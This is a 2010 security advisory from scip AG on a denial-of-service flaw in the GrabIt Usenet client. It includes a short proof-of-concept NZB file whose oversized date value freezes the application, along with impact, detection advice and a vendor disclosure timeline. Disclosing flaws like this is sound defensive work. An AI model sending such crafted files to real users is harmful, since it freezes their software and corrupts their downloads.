Shemes Grabit Malicious NZB Date Denial of Service

scip AG Vulnerability ID 4143 (07/08/2010)
http://www.scip.ch/?vuldb.4143

I. INTRODUCTION

Grabit is a popular freeware client for binary Usenet interaction.

More information is available on the official web site at the following URL:

http://www.shemes.com/index.php?p=download

II. DESCRIPTION

Marc Ruef at scip AG found a denial of service vulnerability in the
current release up to GrabIt 1.7.2 ßeta 4.

An attacker is able to provide a malicious nzb file which will cause a
freeze of the application.

III. EXPLOITATION

The attack requires a malicious nzb file which includes a file reference
with a very large date value. This is a simplified example:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE nzb PUBLIC "-//newzBin//DTD NZB 1.0//EN"
"http://www.newzbin.com/DTD/nzb/nzb-1.0.dtd">
<nzb xmlns="http://www.newzbin.com/DTD/2003/nzb">

  <file subject="poc" date="1000000000000000" poster="maru">
    <groups><group>non.existing.group</group></groups>
    <segments>
      <segment number="1" bytes="42">exploit@domain.example</segment>
    </segments>
  </file>

</nzb>

IV. IMPACT

During the import of the malicious nzb file the application will freeze.
Further interaction with the software is not possible anymore. Ongoing
downloads will be corrupted or lost. It is required to kill the process
and to re-launch the application.

V. DETECTION

A pre-parsing of nzb files prior import might help to determine
malicious files. In this case the data value is well-defined and could
be sanitized easily.

VI. SOLUTION

No workaround or solution known at the moment.

It is suggested to use nzb files from trusted sources only or to use
another Usenet client.

VII. VENDOR RESPONSE

The issue has been reported to the vendor via the online bug tracking
system.

After exchange of technical details the vendor informed that a
re-written client will be released in the next few months.

VIII. SOURCES

scip AG - Security is our Business (german)
http://www.scip.ch

scip AG - Vulnerability Database (german)
http://www.scip.ch/?vuldb.4143

computec.ch Document Database (german)
http://www.computec.ch

IX. DISCLOSURE TIMELINE

2010/02/20 Identification of the vulnerability
2010/02/21 Notification of Shemes.com via online bug tracking
2010/02/21 Acknowledgement of the issue by Ilan
2010/02/21 Providing the PoC to verify the vulnerability
2010/04/09 Update of the current development status
2010/07/08 Public disclosure of the advisory

X. CREDITS

The vulnerability has been discovered by Marc Ruef.

Marc Ruef, scip AG, Zuerich, Switzerland
maru-at-scip.ch
http://www.scip.ch

A1. LEGAL NOTICES

Copyright (c) 2002-2010 scip AG, Switzerland.

Permission is granted for the re-distribution of this alert. It may not
be edited in any way without permission of scip AG.

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. There are no
warranties with regard to this information. Neither the author nor the
publisher accepts any liability for any direct, indirect or
consequential loss or damage from use of or reliance on this advisory.